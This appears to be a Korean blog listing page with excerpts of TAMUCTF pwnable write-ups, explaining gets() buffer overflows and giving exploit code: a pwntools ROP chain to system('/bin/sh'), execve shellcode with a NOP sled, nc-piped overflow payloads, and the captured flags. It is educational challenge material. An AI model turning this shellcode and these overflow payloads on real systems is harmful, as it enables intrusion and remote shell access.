main함수가 print_beginning 함수를 호출하고 있어서 열어보았다. 대충 살펴보니 어디가 참가하라 이런 느낌의 바이너리인데 영어가 너무 많아서 해석은 하지않고 바로 취약한 함수로 넘어가겠다. 필요한 사항들을 다 입력하고 y를 입력하면 넘어오게 되는 first_day_corps라는 함수의 일부이다. first_day_corps 함수에서 2번 chagne_major 메뉴를 선택하면 호출되는 함수인데, 편의상 vuln이라고 함수 이름을 바꾸었다. 보면 dest라는 변수에 gets로 입력을 받는 것을 볼 수 있다. 그렇다면 BOF를 통해 EIP조작이 가능하다는 이야기다. NX가 걸려있어서 ROP를 그냥 진행해서 푸려고 보니까 파일이 static, 즉 정적으로 컴파일 되어있었다. 이 의미는 librar..
main함수에서 reduced_shell 이란 함수를 호출해 주고 있었다. 대충 살펴보니 system 명령어를 수행해주는 프로그램인 것 같았다. gets로 입력을 받으므로 BOF 취약점을 이용해 문제를 풀면 될 것 같고, NX가 걸려있으므로 ROP기법을 사용하면 될 것 같다. Full Exploit Code123456789101112131415161718192021from pwn import * #p = process("./pwn4")p = remote("pwn.ctf.tamu.edu",4324)e = ELF("./pwn4")rop = ROP(e)binsh="/bin/sh\x00" print p.recv() payload = "3"+"\x00"+"a"*30rop.gets(e.bss())rop.system..
바이너리를 열어보니 pwn2와 같이 echo함수를 호출하고 있었다. 또 gets로 입력을 받는 것을 알 수 있었고, 입력받는 변수의 주소를 출력해주고 있었다. 동적으로 exploit을 해야하기 때문에 코드를 짜고 NX가 걸려 있지 않으므로 쉘코드를 활용한 nop sled로 풀어보겠다. Full Exploit Code1234567891011121314151617181920from pwn import * p = process("./pwn3")#p = remote("pwn.ctf.tamu.edu",4323) shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"..
main을 보니 echo라는 함수를 호출하고 있었다. echo함수를 보니 gets 로 s에 입력을 받는 것을 볼 수 있다. 이 부분에서 길이 검사를 하지 않으므로 Buffer over flow 취약점이 발생한다는 것을 알 수 있다. 그리고 바이너리를 조금 더 살펴보니 플래그를 출력해주는 함수가 있었다. EIP를 이 함수로 조작해주면 될 것 같다. print_flag = 0x0804854b Payload (python -c 'print "a"*243+"\x4b\x85\x04\x08"') | nc pwn.ctf.tamu.edu 4322 FLAG : gigem{3ch035_0f_7h3_p4s7}
주어진 바이너리를 IDA로 디버깅해보면 s를 입력받고 v5가 -267929071 이면 플래그를 띄워주는 것 같았다. s의 크기는 0x23 - 0xc = 0x17 즉 DEC= 23 이므로 23만큼 넣어주고 v5를 -267929071로 바꾸어주면 된다는 것을 알 수 있다. -267929071 은 demical이므로 hex로 바꾼 값을 리틀앤디안으로 v5에 넣어주면 될 것 같다. Payload (python -c 'print "a"*23+"\x11\xba\x07\xf0\xff\xff\xff\xff"') | nc pwn.ctf.tamu.edu 4321 FLAG : gigem{H0W_H4RD_1S_TH4T?}
- Total
- Today
- Yesterday
- orge
- 파이썬
- babyheap
- C언어
- Codegate
- babypwn
- 포너블
- 클래스
- BaskinRobins31
- ftz
- 리버싱
- Nightmare
- succubus
- Golem
- angry_doraemon
- darkknight
- bugbear
- protostar
- 올리디버거
- HarekazeCTF
- TAMUCTF
- 0ctf
- OllyDbg
- Pwnable.kr
- luckyzzang
- 비교 연산자
- Python
- picoctf
- zombie_assassin
- lob
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |